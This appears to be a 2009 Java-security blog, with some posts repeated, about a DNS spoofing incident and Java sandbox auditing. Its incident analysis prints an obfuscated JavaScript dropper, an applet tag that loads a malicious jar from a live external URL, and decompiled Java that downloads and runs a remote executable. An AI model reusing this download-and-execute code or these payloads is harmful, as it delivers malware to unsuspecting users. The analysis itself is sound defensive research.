WORA? WOOE. An interesting bit by Julien Tinnes on the calendar deserialization bug, Java applet security in general and Apple taking a long time to fix it on OSX.
Landon Fuller has a Proof of Concept implementation to demonstrate the problem.
Tuesday, May 19, 2009
Monday, May 11, 2009
Apologies to Mr. Schneier
On November 29, 2007 Bruce Schneier wrote:
On Saturday, May 10, 2008 Sami Koivu wrote:
Computer security is hard. Software, computer and network security are all ongoing battles between attacker and defender. And in many cases the attacker has an inherent advantage: He only has to find one network flaw, while the defender has to find and fix every flaw.
On Saturday, May 10, 2008 Sami Koivu wrote:
Security is hard.I can't remember having read Bruce's essay. But the wording is uncomfortably similar. Given the dates, my writing seems like cheap rip-off, of Bruce's. My bad. It's possible I've read something by someone else that was inspired by what Bruce had written. Or it could be coincidence. In any case: imitation, flattery, and so on...
When you're trying to build something secure, you have to consider everything.
When you're breaking the security, you just have to think of one thing that the other guy didn't think of. Not to mention the person creating security is normally vastly outnumbered.
Sunday, April 12, 2009
Timeline of Sun Microsystems fixing Java security bugs
| Reported | Status | Fixed | Days Open | |
|---|---|---|---|---|
| FileSystemView allows read access to file system structure | May 11th, 2008 | Fixed | Dec 2nd, 2008 | 204 |
| Read access to System Properties | Aug 18th, 2008 | Not Fixed | N/A | 251* |
| Calendar.readObject allows elevation of privileges | Aug 1st, 2008 | Fixed | Dec 2nd, 2008** | 122 |
| Undisclosed vectors allow elevation of privileges | Oct 19th, 2008 | Not Fixed | N/A | 189* |
| Undisclosed vectors allow directory listing and file renaming/moving | Oct 26th, 2008 | Not Fixed | N/A | 182* |
| Generic security architecture problem | Nov 2nd, 2008 | Not Fixed | N/A | 175* |
| Undisclosed vectors allow folder creation | Oct 20th 2008 | Not Fixed | N/A | 188* |
Monday, April 06, 2009
Descrição em português do vírus wwww.sl (summary of the previous post in portuguese)
Percebi que muitos Brasileiros estão entrando no blog, provavelmente para informações relativas à mensagem pop-up perguntando se a internauta quer executar um applet.
Para facilitar a vida de todo mundo, vou compartilhar o que sei aqui em português, mesmo que o idioma padrão do meu blog é inglês.
Vamos lá, a mensagem pop-up de qual estou falando é essa: (printscreen do Sistema Operacional Microsoft Windows)

O fato de seu computador apresentar a tela em si não necessariamente implica infecção com vírus. A janela aparece, porque um servidor DNS do provedor de internet NET foi comprometido de tal forma que os sites que usam o sistema de propaganda da Google, chamado AdSense, estavam tentando rodar um aplicativo (applet) malicioso.
Caso você clicou no "Cancel", e não no "Run" você provavelmente está salvo deste vírus.
O comprometimento acima descrito aconteceu na sexta-feira, dia 3 de Abril à noite. O problema ou já foi resolvido, ou se resolveu sozinho.
A causa mais provável para você ainda estar vendo a mensagem, é que seu navegador deve ter guardado a versão maliciosa da página no cache dele. Para se livrar do peste, limpe/remove os arquivos temporários. (Como fazer).
Caso você em algum momento clicou em "Run" (executar), e executou o aplicativo é possível que seu computador foi infectado. Procure desinfetar sua maquina com um bom antivírus, solicitando a ajuda do seu suporte técnico caso necessário.
Para os mais entendidos de assuntos técnicos, vou descrever com mais detalhes o funcionamento do aplicativo malicioso:
O DNS da NET Vírtua estava dando o IP errado 68.23.204.165 como o endereço do pagead2.googlesyndication.com, que é o endereço de qual o javascript relativo ao AdSense é buscado.
O javascript que veio do IP 68.23.204.165 era ofuscado e criava dinamicamente o tag applet para executar um applet assinado, chamado debug.jar de um servidor wwww.sl.
A mensagem pop-up acima é o mecanismo de segurança do browser, que pede sua permissão para a execução de um aplicativo com permissões elevadas. Caso ceder essas permissões, o aplicativo nesse caso fará um download de desse arquivo:
hxxp://wwww.sl/voxcards.com.br/imagem.exe (o http do link alterado para hxxp para evitar alguém de executar isso sem querer. Não baixe, e não rode esse arquivo.)
Depois de ter feito download, o imagem.exe será executado na sua maquina. Não tive tempo para fazer um analise detalhado o que o executável faz, mas eu analisei o arquivo utilizando o serviço virustotal.com, e vários antivírus detectam esse arquivo como malicioso:
Para facilitar a vida de todo mundo, vou compartilhar o que sei aqui em português, mesmo que o idioma padrão do meu blog é inglês.
Vamos lá, a mensagem pop-up de qual estou falando é essa: (printscreen do Sistema Operacional Microsoft Windows)
O fato de seu computador apresentar a tela em si não necessariamente implica infecção com vírus. A janela aparece, porque um servidor DNS do provedor de internet NET foi comprometido de tal forma que os sites que usam o sistema de propaganda da Google, chamado AdSense, estavam tentando rodar um aplicativo (applet) malicioso.
Caso você clicou no "Cancel", e não no "Run" você provavelmente está salvo deste vírus.
O comprometimento acima descrito aconteceu na sexta-feira, dia 3 de Abril à noite. O problema ou já foi resolvido, ou se resolveu sozinho.
A causa mais provável para você ainda estar vendo a mensagem, é que seu navegador deve ter guardado a versão maliciosa da página no cache dele. Para se livrar do peste, limpe/remove os arquivos temporários. (Como fazer).
Caso você em algum momento clicou em "Run" (executar), e executou o aplicativo é possível que seu computador foi infectado. Procure desinfetar sua maquina com um bom antivírus, solicitando a ajuda do seu suporte técnico caso necessário.
Para os mais entendidos de assuntos técnicos, vou descrever com mais detalhes o funcionamento do aplicativo malicioso:
O DNS da NET Vírtua estava dando o IP errado 68.23.204.165 como o endereço do pagead2.googlesyndication.com, que é o endereço de qual o javascript relativo ao AdSense é buscado.
O javascript que veio do IP 68.23.204.165 era ofuscado e criava dinamicamente o tag applet para executar um applet assinado, chamado debug.jar de um servidor wwww.sl.
A mensagem pop-up acima é o mecanismo de segurança do browser, que pede sua permissão para a execução de um aplicativo com permissões elevadas. Caso ceder essas permissões, o aplicativo nesse caso fará um download de desse arquivo:
hxxp://wwww.sl/voxcards.com.br/imagem.exe (o http do link alterado para hxxp para evitar alguém de executar isso sem querer. Não baixe, e não rode esse arquivo.)
Depois de ter feito download, o imagem.exe será executado na sua maquina. Não tive tempo para fazer um analise detalhado o que o executável faz, mas eu analisei o arquivo utilizando o serviço virustotal.com, e vários antivírus detectam esse arquivo como malicioso:
a-squared 4.0.0.101 2009.04.04 Trojan-Downloader.Win32.Banload!IK
AntiVir 7.9.0.129 2009.04.03 TR/Spy.Banker.Gen
eSafe 7.0.17.0 2009.04.02 Suspicious File
F-Secure 8.0.14470.0 2009.04.03 Suspicious:W32/Malware!Gemini
Ikarus T3.1.1.49.0 2009.04.04 Trojan-Downloader.Win32.Banload
McAfee-GW-Edition 6.7.6 2009.04.03 Trojan.Spy.Banker.Gen
Sophos 4.40.0 2009.04.04 Sus/BancDl-A
Labels:
68.23.204.165,
adsense,
debug.jar,
dns,
generic.htm,
googlesyndication.com,
imagem.exe,
java,
java plugin,
net virtua,
português,
remover,
signed applet,
spoofing,
sun microsystems,
virus,
wwww.sl
Saturday, April 04, 2009
DNS spoofing incident
My ISP's (NET Vírtua, Curitiba, Brazil) DNS record for Google's AdSense (pagead2.googlesyndication.com) was spoofed on friday night.
Friday night, at 11 pm local time, I was accessing a blog on Oracle Access Manager, one of the things I work with at the moment. The blog page seemed very legit with installation and configuration instructions for the product. After it finished loading, my firefox asked me if I wanted to execute a signed applet, with the following dialog:

Ok, the name Java Plugin sort of inspires confidence, Sun Microsystems as the publisher as well and if it weren't for
1) the strange "From" address (wwww.sl)
2) the fact that the signature had been signed by a certificate that was both untrusted and expired
3) and the fact that there was absolutely no valid motive for the blog site to run anything with a signed applet
..I actually might have considered accepting and clicked on the run.
Instead I tried refreshing the page and saw that the applet tried to run once again. I looked at the Java Plug-in console and saw this:
Ok, so the applet tried to create a temporary file on my computer. Good thing I didn't give it any extended privileges. The fact that they named their class "debug" is cute, altough somebody should point the creators to the Java coding conventions site for class and method names.
I went after the site's HTML source, trying to find an applet, object or embed tag, but had no luck so I imagined it was in an iframe or generated by javascript. By method of elimination, I got to an improbable suspect:
I opened the show_ads.js and saw that it set the content of the AdSense widget to an iframe pointing to: hxxp://wwww.sl/generic.html (do not access unless you know exactly what you're doing).
Seeing the host name, I knew something was off. I opened that page manually and my browser once again asked me if I wanted to run the applet. I pinged pagead2.googlesyndication.com to see what IP my DNS was giving me, and it was 68.23.204.165, which is nowhere near correct.
So that was the problem. Don't know how exactly that was done, but a quick IM roundup proved that all my friends that were awake at the time were also getting the same, wrong IP.
Curious to see what the debug class wanted to do to me, I dug deeper.
The generic.html contents were (and at the time of writing, still are) an obfuscated javascript:
After a bit of deobfuscation, it becomes something like:
I imagine the javascript is for disabling sourcecode viewing, etc., but the interesting part is the applet tag. I downloaded the debug.jar and the most interesting part of the code is this:
In other words, download the file indicated by parameter x (hxxp://wwww.sl/voxcards.com.br/imagem.exe -- do not download unless you know what you're doing), save it as a temp file and execute it.
Someone had already uploaded the debug.jar to virustotal, the antivirus guys seem to discriminate Java, and no one detects anything. In all fairness, I guess it's pretty generic and could be used to download & execute anything.
http://www.virustotal.com/analisis/b5dfb4cae55beb8548dfea31a59bd0c2
I uploaded the imagem.exe (portuguese for image) to virustotal:
http://www.virustotal.com/analisis/5b4444c18ce344611d1d3113485c1d3d
and 7 products detect it:
I executed the applet inside a sandbox, and it downloaded and executed the imagem.exe as expected. From what I could empirically gather, the imagem.exe downloaded and executed another file:
http://www.virustotal.com/analisis/b37d3dc31d57e1aa0973cbeabe43dbd8
Which was only detected by one vendor as: Win-Trojan/Banload.403968.D
The DNS in question was giving the wrong IP at least from 23:00:00 03/04/2008 GMT-3 until 01:35:00 04/04/2008 GMT-3. I dare not guess how many got infected.
Friday night, at 11 pm local time, I was accessing a blog on Oracle Access Manager, one of the things I work with at the moment. The blog page seemed very legit with installation and configuration instructions for the product. After it finished loading, my firefox asked me if I wanted to execute a signed applet, with the following dialog:
Ok, the name Java Plugin sort of inspires confidence, Sun Microsystems as the publisher as well and if it weren't for
1) the strange "From" address (wwww.sl)
2) the fact that the signature had been signed by a certificate that was both untrusted and expired
3) and the fact that there was absolutely no valid motive for the blog site to run anything with a signed applet
..I actually might have considered accepting and clicked on the run.
Instead I tried refreshing the page and saw that the applet tried to run once again. I looked at the Java Plug-in console and saw this:
java.lang.SecurityException: Unable to create temporary file
at java.io.File.checkAndCreate(Unknown Source)
at java.io.File.createTempFile(Unknown Source)
at java.io.File.createTempFile(Unknown Source)
at debug.debugnow(debug.java:20)
at debug.init(debug.java:48)
at sun.plugin2.applet.Plugin2Manager$AppletExecutionRunnable.run(Unknown Source)
at java.lang.Thread.run(Unknown Source)Ok, so the applet tried to create a temporary file on my computer. Good thing I didn't give it any extended privileges. The fact that they named their class "debug" is cute, altough somebody should point the creators to the Java coding conventions site for class and method names.
I went after the site's HTML source, trying to find an applet, object or embed tag, but had no luck so I imagined it was in an iframe or generated by javascript. By method of elimination, I got to an improbable suspect:
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
I opened the show_ads.js and saw that it set the content of the AdSense widget to an iframe pointing to: hxxp://wwww.sl/generic.html (do not access unless you know exactly what you're doing).
Seeing the host name, I knew something was off. I opened that page manually and my browser once again asked me if I wanted to run the applet. I pinged pagead2.googlesyndication.com to see what IP my DNS was giving me, and it was 68.23.204.165, which is nowhere near correct.
IP address: 68.23.204.165
Reverse DNS: 68-23-204-165.ded.ameritech.net.
Reverse DNS authenticity: [Verified]
ASN: 7132
ASN Name: SBIS-AS
IP range connectivity: 19
Registrar (per ASN): ARIN
Country (per IP registrar): US [United States]
Country Currency: USD [United States Dollars]
Country IP Range: 68.0.0.0 to 68.63.255.255
Country fraud profile: Normal
City (per outside source): Akron, Ohio
Country (per outside source): US [United States]
Private (internal) IP? No
IP address registrar: whois.arin.net
Known Proxy? No
Link for WHOIS: 68.23.204.165So that was the problem. Don't know how exactly that was done, but a quick IM roundup proved that all my friends that were awake at the time were also getting the same, wrong IP.
Curious to see what the debug class wanted to do to me, I dug deeper.
The generic.html contents were (and at the time of writing, still are) an obfuscated javascript:
<!--hppage status="protected"-->
<html><!--HEAD--><SCRIPT LANGUAGE="JavaScript"><!--
document.write(unescape("%3C%53%43%52%49%50%54%20%4C%41%4E%47%55%41%47%45%3D%22%4A%61%76%61%53%63%72%69%70%74%22%3E%3C%21%2D%2D%0D%0A%68%70%5F%6F%6B%3D%74%72%75%65%3B%66%75%6E%63%74%69%6F%6E%20%68%70%5F%64%30%32%28%73%29%7B%69%66%28%21%68%70%5F%6F%6B%29%72%65%74%75%72%6E%3B%76%61%72%20%6F%3D%22%22%2C%61%72%3D%6E%65%77%20%41%72%72%61%79%28%29%2C%6F%73%3D%22%22%2C%69%63%3D%30%2C%70%3D%30%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%7B%63%3D%73%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%3B%69%66%28%63%3C%31%32%38%29%63%3D%63%5E%28%28%70%2B%2B%25%38%29%2B%31%29%3B%6F%73%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%63%29%3B%69%66%28%6F%73%2E%6C%65%6E%67%74%68%3E%38%30%29%7B%61%72%5B%69%63%2B%2B%5D%3D%6F%73%3B%6F%73%3D%22%22%7D%7D%6F%3D%61%72%2E%6A%6F%69%6E%28%22%22%29%2B%6F%73%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%6F%29%7D%2F%2F%2D%2D%3E%3C%2F%53%43%52%49%50%54%3E"));//--></SCRIPT><SCRIPT LANGUAGE="JavaScript"><!--
hp_d02(unescape("=Q@VLVS(MCMCPG@M%3C IesgTksksp'8;),/csikuklj%25nwWbo+-~tb|tpm$cgk{d%7Feqkesanl#luYjl)g*%7Fhgd5ocumbgsgs,vw`tFodlw*lhcmyMe,%22Kfk&+%229(7%3Cag%22+`jeredlw*djk!zke,`pbfu,aqqrhf%3C?1xy.jib$%25,`pbfu,`pwjLmx~%7Fasci|/if}Ficm%3C?:5,/.ssgwqwh'n`npax{bdrgxmc.b&vjjgm;:;}~+ide!.)g-ijbnnhgqw8;5t}g-gqtkCd{*-,}umuwqj%25`fdrg~yxoa ocumbgsgs,btuHfed,jjac%7FGg*$Mkrbzogw$@~wdnpfv%22/:5,3%7Fx-hf~hebpjt)}rgqEbci|/km``~Hn)%25NWLC ! ?.5# cgbwnakr)imn-h`h`|i#>4,/|ag*gkfsjmov-eij.slc`9kgqafcwkw(r{dpBc`hs&hlga}Ia &Obg%22/&5,38r`ttanl>tdttmGnleq. 8&)meso`iumq*pubz@efjq(t}cqwv-hf~hebpjt)}rgqEbci|/km``~Hn)%25NWLC !*7*(46.3hd+%25hgd.'tfvvohf?6*%7Faid}lgmp+iiknlwa}rjmow>luYde|gow`}cgbwnakr)goolqvccgvl>luYjl:flgpkbfu,ljnc~lnum9mvXee%7F~aiub(hd+`jeredlw*ig~msq*%7Froilnu-gdvs}sgFr`hs{)Guakr)ENWPAAIPF}Guakr)enfjblcu{}Guakr)CD[GKRH.3vkm`jq)goolqvccgvl>luYjl:ujjaip&nlha|bh%7Fo?ktZkcudnpa%25oa em`qhci|/efp@jbedlwF|Oc.'#gkfsjmov-eij.sem`qhci|/mmgjhsmyvnaks:`q]`ix{(',/=8*UDZHRW:"));//--></SCRIPT><SCRIPT LANGUAGE="JavaScript"><!--
hp_d02(unescape("=#.)MCFL,/= :fxqnfp%25hfed?!Ndpf(Qnvclh%25(bmga8$cmcwd*fjf{r #eweoawg>&mrsx;-,srqp&rn,``dro/hbv'&omhekp8$68#%22tmaro5#33&;:wiscn$kgjm%3C {&%25pfdtg>&mrsx;-,srqp&rn,rj~disfp*fij&cp,mhg`ml,f|`$9
>,euvkmu%3C9'*%25.JFEA+*6"));//--></SCRIPT><!--/HEAD--><!--BODY--><NOSCRIPT>To display this page you need a browser with JavaScript support.</NOSCRIPT><SCRIPT LANGUAGE="JavaScript"><!--
hp_d02(unescape("=#.)GICQ,/=8$+*'CMG](+9"));//--></SCRIPT><!--/BODY--></html>
After a bit of deobfuscation, it becomes something like:
<SCRIPT LANGUAGE="JavaScript"><!--
hp_ok=true;function hp_d02(s){if(!hp_ok)return;var o="",ar=new Array(),os="",ic=0,p=0;for(i=0;i<s.length;i++){c=s.charCodeAt(i);if(c<128)c=c^((p++%8)+1);os+=String.fromCharCode(c);if(os.length>80){ar[ic++]=os;os=""}}o=ar.join("")+os;document.write(o)}//--></SCRIPT><SCRIPT LANGUAGE="JavaScript"><!--
function hp_cm(){return false}function hp_md(e){mac=navigator.userAgent.indexOf('Mac')!=-1;if (document.all){if(event.button==2||(mac&&(event.ctrlKey||event.keyCode==91))){return false}}else{if(e.which==3||(mac&&(e.modifiers==2||e.ctrlKey))){return false}}}if(navigator.appName.indexOf('Internet Explorer')==-1||(navigator.userAgent.indexOf('MSIE')!=-1&&document.all.length!=0)){if(document.all){mac=navigator.userAgent.indexOf('Mac')!=-1;version=parseFloat('0'+navigator.userAgent.substr(navigator.userAgent.indexOf('MSIE')+5),10);if(!mac&&version>4){document.oncontextmenu=hp_cm}else{document.onmousedown=hp_md;document.onkeydown=hp_md}}else if(document.layers){window.captureEvents(Event.MOUSEDOWN|Event.modifiers|Event.KEYDOWN);window.onmousedown=hp_md;window.onkeydown=hp_md}else if(document.getElementById&&!document.all){document.oncontextmenu=hp_cm}}//--></SCRIPT><!--HEAD-->
<applet name="Java Plugin" code="debug.class" archive="http://wwww.sl/debug.jar" height="10" width="10"><param name="x" value="http://wwww.sl/voxcards.com.br/imagem.exe">
</applet>
<!--/HEAD--><!--BODY--><!--/BODY-->
I imagine the javascript is for disabling sourcecode viewing, etc., but the interesting part is the applet tag. I downloaded the debug.jar and the most interesting part of the code is this:
byte abyte0[] = new byte[10240];
String s = getParameter("x");
String s1 = ".exe";
File file = File.createTempFile("roger", s1);
FileOutputStream fileoutputstream = new FileOutputStream(file);
URL url = new URL(s);
URLConnection urlconnection = url.openConnection();
BufferedInputStream bufferedinputstream = new BufferedInputStream(urlconnection.getInputStream());
int i;
while((i = bufferedinputstream.read(abyte0)) > 0)
fileoutputstream.write(abyte0, 0, i);
fileoutputstream.close();
try
{
Runtime.getRuntime().exec(file.getAbsolutePath());
}
catch(IOException ioexception)
{
File file1 = File.createTempFile("tmp", ".bat");
file1.createNewFile();
file1.deleteOnExit();
Runtime.getRuntime().exec(file1.getAbsolutePath());
file1.delete();
}
file.deleteOnExit();
In other words, download the file indicated by parameter x (hxxp://wwww.sl/voxcards.com.br/imagem.exe -- do not download unless you know what you're doing), save it as a temp file and execute it.
Someone had already uploaded the debug.jar to virustotal, the antivirus guys seem to discriminate Java, and no one detects anything. In all fairness, I guess it's pretty generic and could be used to download & execute anything.
http://www.virustotal.com/analisis/b5dfb4cae55beb8548dfea31a59bd0c2
I uploaded the imagem.exe (portuguese for image) to virustotal:
http://www.virustotal.com/analisis/5b4444c18ce344611d1d3113485c1d3d
and 7 products detect it:
a-squared 4.0.0.101 2009.04.04 Trojan-Downloader.Win32.Banload!IK
AntiVir 7.9.0.129 2009.04.03 TR/Spy.Banker.Gen
eSafe 7.0.17.0 2009.04.02 Suspicious File
F-Secure 8.0.14470.0 2009.04.03 Suspicious:W32/Malware!Gemini
Ikarus T3.1.1.49.0 2009.04.04 Trojan-Downloader.Win32.Banload
McAfee-GW-Edition 6.7.6 2009.04.03 Trojan.Spy.Banker.Gen
Sophos 4.40.0 2009.04.04 Sus/BancDl-AI executed the applet inside a sandbox, and it downloaded and executed the imagem.exe as expected. From what I could empirically gather, the imagem.exe downloaded and executed another file:
http://www.virustotal.com/analisis/b37d3dc31d57e1aa0973cbeabe43dbd8
Which was only detected by one vendor as: Win-Trojan/Banload.403968.D
The DNS in question was giving the wrong IP at least from 23:00:00 03/04/2008 GMT-3 until 01:35:00 04/04/2008 GMT-3. I dare not guess how many got infected.
Wednesday, February 25, 2009
Java SE Security - Part I
I'm starting a section here outlining a few basic ways for analyzing Java SE security in a pure Java sense. That is: Java code which might escape from the security sandbox, most commonly set up for Java applets.
This first part will deal with the method AccessController.doPrivileged().
What does it do?
It is used to execute a piece of code in a privileged context. The different variations of the method take a PrivilegedAction, or PrivilegedExceptionAction instance as a parameter and execute the run method of that action.
Why do we need that?
All the code that comes from the jre/lib (rt.jar, etc) is already privileged. Even when executed in the context of an applet that code has the privileges to read/write files, open network connections, execute processes and so on.. as long as there is no untrusted code on the calling stack.
Wait, what? What does that mean?
All the code in the JRE that does stuff that is considered privileged is armed with a call to the SecurityManager to ask if the caller has sufficient privileges to call it. As an example, let's look at File.delete():
The SecurityManager checks every class that is on the calling stack (the method that called the method that called the method...) and makes sure every single of these classes is allowed to delete that file. So, if you try that from an applet's start method, that method will be on the calling stack and since your applet is not allowed to delete files, the SecurityManager will throw an exception.
So how does doPrivileged come into play?
There are some operations that have to be allowed, even though there is some untrusted code on the calling stack. A simple example is that many JRE methods require access to system properties that control their functionality. So the code that reads the system property is wrapped in a doPrivileged call and even if the method was executed from an applet, the operation is allowed.
This is actually intelligent. The potentially dangerous code which could introduce security vulnerabilities is wrapped up in and tagged by the doPrivileged blocks. This makes it pretty straightforward to audit them.
How does one find the doPrivileged blocks?
My preferred tool of the trade is Eclipse (http://www.eclipse.org/). To be effective, one needs the source code. The JDK normally comes with a src.zip, containing the source code of the public API classes and some other classes. However, to get some sources one needs to dig deeper.
Eclipse has a nice piece of functionality called "Call Hierarchy", which searches all the places where a given method is called, allowing you to dig deeper, viewing the callers' callers, and so on. So you could open the AccessController class, select the doPrivileged method and view it's call hierarchy.
How does one tell what's secure and what isn't?
Most of the doPrivileged blocks are small, precise, don't trust any input and do exactly one determined thing. However, this isn't always the case.
For example, public class sun.util.calendar.ZoneInfoFile has a private static method readZoneInfo file, which takes a filename String as a parameter and returns the file contents as a byte array. The file contents are read in a doPrivileged block.
Something like this:
Things to consider:
But:
So this path actually allows calling the doPrivileged block, passing any filename for it to read. However due to the long path, the return is no longer a byte array and there are a lot of validations along the way. In any case this illustrates the process of analyzing a piece of code.
This first part will deal with the method AccessController.doPrivileged().
What does it do?
It is used to execute a piece of code in a privileged context. The different variations of the method take a PrivilegedAction, or PrivilegedExceptionAction instance as a parameter and execute the run method of that action.
Why do we need that?
All the code that comes from the jre/lib (rt.jar, etc) is already privileged. Even when executed in the context of an applet that code has the privileges to read/write files, open network connections, execute processes and so on.. as long as there is no untrusted code on the calling stack.
Wait, what? What does that mean?
All the code in the JRE that does stuff that is considered privileged is armed with a call to the SecurityManager to ask if the caller has sufficient privileges to call it. As an example, let's look at File.delete():
public boolean delete() {So the first thing the method does is that it tries to obtain the currently installed SecurityManager and checks if it isn't null. Null in this case means there is no SecurityManager installed and everything is pretty much allowed. In the case of an applet, there will always be a SecurityManager, and next the code asks the SecurityManager if deleting at the given path is allowed. If the SecurityManager objects, it will throw a security exception. If no exception is thrown, the file actually gets deleted.
SecurityManager security = System.getSecurityManager();
if (security != null) {
security.checkDelete(path);
}
return fs.delete(this);
}
The SecurityManager checks every class that is on the calling stack (the method that called the method that called the method...) and makes sure every single of these classes is allowed to delete that file. So, if you try that from an applet's start method, that method will be on the calling stack and since your applet is not allowed to delete files, the SecurityManager will throw an exception.
So how does doPrivileged come into play?
There are some operations that have to be allowed, even though there is some untrusted code on the calling stack. A simple example is that many JRE methods require access to system properties that control their functionality. So the code that reads the system property is wrapped in a doPrivileged call and even if the method was executed from an applet, the operation is allowed.
This is actually intelligent. The potentially dangerous code which could introduce security vulnerabilities is wrapped up in and tagged by the doPrivileged blocks. This makes it pretty straightforward to audit them.
How does one find the doPrivileged blocks?
My preferred tool of the trade is Eclipse (http://www.eclipse.org/). To be effective, one needs the source code. The JDK normally comes with a src.zip, containing the source code of the public API classes and some other classes. However, to get some sources one needs to dig deeper.
Eclipse has a nice piece of functionality called "Call Hierarchy", which searches all the places where a given method is called, allowing you to dig deeper, viewing the callers' callers, and so on. So you could open the AccessController class, select the doPrivileged method and view it's call hierarchy.
How does one tell what's secure and what isn't?
Most of the doPrivileged blocks are small, precise, don't trust any input and do exactly one determined thing. However, this isn't always the case.
For example, public class sun.util.calendar.ZoneInfoFile has a private static method readZoneInfo file, which takes a filename String as a parameter and returns the file contents as a byte array. The file contents are read in a doPrivileged block.
Something like this:
package sun.util.calendar;
...
public class ZoneInfoFile {
...
private static byte[] readZoneInfoFile(String fileName) {
...
buffer = (byte[]) AccessController.doPrivileged(new PrivilegedExceptionAction() {
...
}
...
}
Things to consider:
- It's a public class and therefore accessible outside it's package for all
- It's not a serializable class
- It's a non-final class, and it has an accessible constructor, so it could be subclassed.
- It's in a sun. package and therefore cannot be accessed from an applet
- The method is private and therefore cannot be invoked from another class
But:
- The method is called from another private static method createZoneInfo of the same class
- createZoneInfo is called from a public static method getZoneInfo (still inaccessible because of the package)
- getZoneInfo is called from a public static method getTimeZone of the same class
- getTimeZone is called from a private static method getTimeZone of the public class TimeZone (which resides in the accessible package java.util)
- getTimeZone is called from a public static method getTimeZone of the public, accessible class java.util.TimeZone
So this path actually allows calling the doPrivileged block, passing any filename for it to read. However due to the long path, the return is no longer a byte array and there are a lot of validations along the way. In any case this illustrates the process of analyzing a piece of code.
Monday, February 23, 2009
Correction on how Sun fixed the Calendar bug
Many thanks to Julien Tinnes for pointing this out to me.
In a previous post, I had said:
In a previous post, I had said:
What they did fix, and on this I fully agree is that now when a serializable subclass of a non-serializable class is deserialized, a generated sun.reflect.GeneratedSerializationConstructorAccessorxxx instance is put on the call stack before calling the superclass constructor, thus making it lose the privileged context in the case where the subclass itself isn't privileged.Which is obviously silly and not true at all. When I was looking at how Sun had fixed the problem I had obtained an incorrect source for the new Calendar class and that threw me off the track. The GeneratedSerializationConstructorAccessorxxx was always on the stack, it's the means of invoking the superclass constructor. What changed is that the calling context is not so privileged anymore in the case of the Calendar.readObject(). A special AccessControlContext is created with just enough special rights to access the package sun.util.calendar, which normally isn't accessible to applet code. But if your serialized class tries to do something more (like instantiating a ClassLoader) a security exception is thrown.
Subscribe to:
Posts (Atom)
